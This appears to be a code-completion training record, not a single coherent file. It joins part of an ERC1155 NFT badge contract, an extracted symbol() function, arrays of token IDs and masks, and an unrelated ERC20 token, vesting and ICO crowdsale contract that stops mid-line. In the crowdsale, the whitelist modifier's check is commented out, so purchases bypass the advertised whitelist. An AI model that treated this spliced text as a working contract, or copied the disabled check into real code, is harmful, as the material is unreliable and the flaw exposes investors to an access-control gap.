*/ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i] + _balances[ids[i]][to]; totalSupply++; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account] - amount; totalSupply--; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account] - amounts[i]; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn(address account, uint256 id, uint256 value) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } } contract PumpkinHedzOGBadge is ERC1155Burnable, Ownable { bool public reserved; bool public mintStarted; uint256 maxSupply = 500; mapping(address => uint256) minted; constructor(string memory uri) ERC1155(uri) { } /** * @dev Gets the token name * @return string representing the token name */ function name() external pure returns(string memory) { return "Pumpkin Hedz OG Badge"; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external pure returns(string memory) { return "PHOGB"; } function flipMint() external onlyOwner { mintStarted = !mintStarted; } function reserveBadge(address reciever, uint256[] calldata ids, uint256[] calldata amounts) external onlyOwner { require(!reserved,"Cannot reserve Badges multiple time"); _mintBatch(reciever, ids, amounts, ""); reserved = true; } function setBaseURI(string memory baseURI) external onlyOwner { _setURI(baseURI); } function withdraw() external onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } /** * Mints Hedz OG Badge */ function mintBadge() public { require(mintStarted, "OG Bagde minting not started"); require(minted[msg.sender] != 1, "Only one OG Badge per address is allowed"); require(ERC1155.totalSupply+1 <= maxSupply, "Mint will exceed max supply"); minted[msg.sender] = 1; _mint(msg.sender, ERC1155.totalSupply, 1,""); } }
* @dev Gets the token symbol @return string representing the token symbol/
function symbol() external pure returns(string memory) { return "PHOGB"; }
7,898,420
[ 1, 3002, 326, 1147, 3273, 327, 533, 5123, 326, 1147, 3273, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3273, 1435, 3903, 16618, 1135, 12, 1080, 3778, 13, 288, 203, 3639, 327, 315, 52, 7995, 5887, 14432, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Whitelist contract * @dev Whitelist for wallets. */ contract Whitelist is Ownable { mapping(address => bool) whitelist; uint256 public whitelistLength = 0; address private addressApi; modifier onlyPrivilegeAddresses { require(msg.sender == addressApi || msg.sender == owner); _; } /** * @dev Set backend Api address. * @dev Accept request from the owner only. * @param _api The address of backend API to set. */ function setApiAddress(address _api) public onlyOwner { require(_api != address(0)); addressApi = _api; } /** * @dev Add wallet to whitelist. * @dev Accept request from the privileged addresses only. * @param _wallet The address of wallet to add. */ function addWallet(address _wallet) public onlyPrivilegeAddresses { require(_wallet != address(0)); require(!isWhitelisted(_wallet)); whitelist[_wallet] = true; whitelistLength++; } /** * @dev Remove wallet from whitelist. * @dev Accept request from the owner only. * @param _wallet The address of whitelisted wallet to remove. */ function removeWallet(address _wallet) public onlyOwner { require(_wallet != address(0)); require(isWhitelisted(_wallet)); whitelist[_wallet] = false; whitelistLength--; } /** * @dev Check the specified wallet whether it is in the whitelist. * @param _wallet The address of wallet to check. */ function isWhitelisted(address _wallet) public view returns (bool) { return whitelist[_wallet]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract VeiagToken is StandardToken, Ownable, Pausable { string constant public name = "Veiag Token"; string constant public symbol = "VEIAG"; uint8 constant public decimals = 18; uint256 constant public INITIAL_TOTAL_SUPPLY = 1e9 * (uint256(10) ** decimals); address private addressIco; modifier onlyIco() { require(msg.sender == addressIco); _; } /** * @dev Create VeiagToken contract and set pause * @param _ico The address of ICO contract. */ function VeiagToken (address _ico) public { require(_ico != address(0)); addressIco = _ico; totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY); balances[_ico] = balances[_ico].add(INITIAL_TOTAL_SUPPLY); Transfer(address(0), _ico, INITIAL_TOTAL_SUPPLY); pause(); } /** * @dev Transfer token for a specified address with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { super.transferFrom(_from, _to, _value); } /** * @dev Transfer tokens from ICO address to another address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferFromIco(address _to, uint256 _value) public onlyIco returns (bool) { super.transfer(_to, _value); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(address(this)); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract LockedOutTokens is TokenTimelock { function LockedOutTokens( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public TokenTimelock(_token, _beneficiary, _releaseTime) { } function release() public { require(beneficiary == msg.sender); super.release(); } } /* solium-disable security/no-block-members */ /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function setStart(uint256 _start) onlyOwner public { start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param _token ERC20 token which is being vested */ function release(ERC20Basic _token) public { uint256 unreleased = releasableAmount(_token); require(unreleased > 0); released[_token] = released[_token].add(unreleased); _token.transfer(beneficiary, unreleased); emit Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param _token ERC20 token which is being vested */ function revoke(ERC20Basic _token) public onlyOwner { require(revocable); require(!revoked[_token]); uint256 balance = _token.balanceOf(address(this)); uint256 unreleased = releasableAmount(_token); uint256 refund = balance.sub(unreleased); revoked[_token] = true; _token.transfer(owner, refund); emit Revoked(); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param _token ERC20 token which is being vested */ function releasableAmount(ERC20Basic _token) public view returns (uint256) { return vestedAmount(_token).sub(released[_token]); } /** * @dev Calculates the amount that has already vested. * @param _token ERC20 token which is being vested */ function vestedAmount(ERC20Basic _token) public view returns (uint256) { uint256 currentBalance = _token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(released[_token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[_token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } contract VeiagTokenVesting is TokenVesting { ERC20Basic public token; function VeiagTokenVesting( ERC20Basic _token, address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable) public { require(_token != address(0)); token = _token; } function grant() public { release(token); } function release(ERC20Basic _token) public { require(beneficiary == msg.sender); super.release(_token); } } contract Whitelistable { Whitelist public whitelist; modifier whenWhitelisted(address _wallet) { // require(whitelist.isWhitelisted(_wallet)); _; } /** * @dev Constructor for Whitelistable contract. */ function Whitelistable() public { whitelist = new Whitelist(); } } contract VeiagCrowdsale is Pausable, Whitelistable { using SafeMath for uint256; uint256 constant private DECIMALS = 18; uint256 constant public RESERVED_LOCKED_TOKENS = 250e6 * (10 ** DECIMALS); uint256 constant public RESERVED_TEAMS_TOKENS = 100e6 * (10 ** DECIMALS); uint256 constant public RESERVED_FOUNDERS_TOKENS = 100e6 * (10 ** DECIMALS); uint256 constant public RESERVED_MARKETING_TOKENS = 50e6 * (10 ** DECIMALS); uint256 constant public MAXCAP_TOKENS_PRE_ICO = 100e6 * (10 ** DECIMALS); uint256 constant public MAXCAP_TOKENS_ICO = 400e6 * (10 ** DECIMALS); uint256 constant public MIN_INVESTMENT = (10 ** 16); // 0.01 ETH uint256 constant public MAX_INVESTMENT = 100 * (10 ** DECIMALS); // 100 ETH uint256 public startTimePreIco = 0; uint256 public endTimePreIco = 0; uint256 public startTimeIco = 0; uint256 public endTimeIco = 0; // rate = 0.005 ETH, 1 ETH = 200 tokens uint256 public exchangeRatePreIco = 200; uint256 public icoFirstWeekRate = 150; uint256 public icoSecondWeekRate = 125; uint256 public icoThirdWeekRate = 110; // rate = 0.01 ETH, 1 ETH = 100 tokens uint256 public icoRate = 100; uint256 public tokensRemainingPreIco = MAXCAP_TOKENS_PRE_ICO; uint256 public tokensRemainingIco = MAXCAP_TOKENS_ICO; uint256 public tokensSoldPreIco = 0; uint256 public tokensSoldIco = 0; uint256 public tokensSoldTotal = 0; uint256 public weiRaisedPreIco = 0; uint256 public weiRaisedIco = 0; uint256 public weiRaisedTotal = 0; VeiagToken public token = new VeiagToken(this); LockedOutTokens public lockedTokens; VeiagTokenVesting public teamsTokenVesting; VeiagTokenVesting public foundersTokenVesting; mapping (address => uint256) private totalInvestedAmount; modifier beforeReachingPreIcoMaxCap() { require(tokensRemainingPreIco > 0); _; } modifier beforeReachingIcoMaxCap() { require(tokensRemainingIco > 0); _; } /** * @dev Constructor for VeiagCrowdsale contract. * @dev Set the owner who can manage whitelist and token. * @param _startTimePreIco The pre-ICO start time. * @param _endTimePreIco The pre-ICO end time. * @param _startTimeIco The ICO start time. * @param _endTimeIco The ICO end time. * @param _lockedWallet The address for future sale. * @param _teamsWallet The address for reserved tokens for teams. * @param _foundersWallet The address for reserved tokens for founders. * @param _marketingWallet The address for reserved tokens for marketing. */ function VeiagCrowdsale( uint256 _startTimePreIco, uint256 _endTimePreIco, uint256 _startTimeIco, uint256 _endTimeIco, address _lockedWallet, address _teamsWallet, address _foundersWallet, address _marketingWallet ) public Whitelistable() { require(_lockedWallet != address(0) && _teamsWallet != address(0) && _foundersWallet != address(0) && _marketingWallet != address(0)); require(_startTimePreIco > now && _endTimePreIco > _startTimePreIco); require(_startTimeIco > _endTimePreIco && _endTimeIco > _startTimeIco); startTimePreIco = _startTimePreIco; endTimePreIco = _endTimePreIco; startTimeIco = _startTimeIco; endTimeIco = _endTimeIco; lockedTokens = new LockedOutTokens(token, _lockedWallet, RESERVED_LOCKED_TOKENS); teamsTokenVesting = new VeiagTokenVesting(token, _teamsWallet, 0, 1 days, 365 days, false); foundersTokenVesting = new VeiagTokenVesting(token, _foundersWallet, 0, 1 days, 100 days, false); token.transferFromIco(lockedTokens, RESERVED_LOCKED_TOKENS); token.transferFromIco(teamsTokenVesting, RESERVED_TEAMS_TOKENS); token.transferFromIco(foundersTokenVesting, RESERVED_FOUNDERS_TOKENS); token.transferFromIco(_marketingWallet, RESERVED_MARKETING_TOKENS); teamsTokenVesting.transferOwnership(this); foundersTokenVesting.transferOwnership(this); whitelist.transferOwnership(msg.sender); token.transferOwnership(msg.sender); } function SetStartVesting(uint256 _startTimeVestingForFounders) public onlyOwner{ require(now > endTimeIco); require(_startTimeVestingForFounders > endTimeIco); teamsTokenVesting.setStart(_startTimeVestingForFounders); foundersTokenVesting.setStart(endTimeIco); teamsTokenVesting.transferOwnership(msg.sender); foundersTokenVesting.transferOwnership(msg.sender); } function SetStartTimeIco(uint256 _startTimeIco) public onlyOwner{ uint256 deltaTime; require(_startTimeIco > now && startTimeIco > now); if (_startTimeIco > startTimeIco){ deltaTime = _startTimeIco.sub(startTimeIco); endTimePreIco = endTimePreIco.add(deltaTime); startTimeIco = startTimeIco.add(deltaTime); endTimeIco = endTimeIco.add(deltaTime); } if (_startTimeIco < startTimeIco){ deltaTime = startTimeIco.sub(_startTimeIco); endTimePreIco = endTimePreIco.sub(deltaTime); startTimeIco = startTimeIco.sub(deltaTime); endTimeIco = endTimeIco.sub(deltaTime); } } /** * @dev Fallback function can be used to buy tokens. */ function() public payable { if (isPreIco()) { sellTokensPreIco(); } else if (isIco()) { sellTokensIco(); } else { revert(); } } /** * @dev Check whether the pre-ICO is active at the moment. */ function isPreIco() public view returns (bool) { return now >= startTimePreIco && now <= endTimePreIco; } /** * @dev Check whether the ICO is active at the moment. */ function isIco() public view returns (bool) { return now >= startTimeIco && now <= endTimeIco; } /** * @dev Calculate rate for ICO phase. */ function exchangeRateIco() public view returns(uint256) { require(now >= startTimeIco && now <= endTimeIco); if (now < startTimeIco + 1 weeks) return icoFirstWeekRate; if (now < startTimeIco + 2 weeks) return icoSecondWeekRate; if (now < startTimeIco + 3 weeks) return icoThirdWeekRate; return icoRate; } function setExchangeRatePreIco(uint256 _exchangeRatePreIco) public onlyOwner{ exchangeRatePreIco = _exchangeRatePreIco; } function setIcoFirstWeekRate(uint256 _icoFirstWeekRate) public onlyOwner{ icoFirstWeekRate = _icoFirstWeekRate; } function setIcoSecondWeekRate(uint256 _icoSecondWeekRate) public onlyOwner{ icoSecondWeekRate = _icoSecondWeekRate; } function setIcoThirdWeekRate(uint256 _icoThirdWeekRate) public onlyOwner{ icoThirdWeekRate = _icoThirdWeekRate; } function setIcoRate(uint256 _icoRate) public onlyOwner{ icoRate = _icoRate; } /** * @dev Sell tokens during Pre-ICO stage. */ function sellTokensPreIco() public payable whenWhitelisted(msg.sender) beforeReachingPreIcoMaxCap whenNotPaused { require(isPreIco()); require(msg.value >= MIN_INVESTMENT); uint256 senderTotalInvestment = totalInvestedAmount[msg.sender].add(msg.value); require(senderTotalInvestment <= MAX_INVESTMENT); uint256 weiAmount = msg.value; uint256 excessiveFunds = 0; uint256 tokensAmount = weiAmount.mul(exchangeRatePreIco); if (tokensAmount > tokensRemainingPreIco) { uint256 weiToAccept = tokensRemainingPreIco.div(exchangeRatePreIco); excessiveFunds = weiAmount.sub(weiToAccept); tokensAmount = tokensRemainingPreIco; weiAmount = weiToAccept; } addPreIcoPurchaseInfo(weiAmount, tokensAmount); owner.transfer(weiAmount); token.transferFromIco(msg.sender, tokensAmount); if (excessiveFunds > 0) { msg.sender.transfer(excessiveFunds); } } /** * @dev Sell tokens during ICO stage. */ function sellTokensIco() public payable whenWhitelisted(msg.sender) beforeReachingIcoMaxCap whenNotPaused { require(isIco()); require(msg.value >= MIN_INVESTMENT); uint256 senderTotalInvestment = 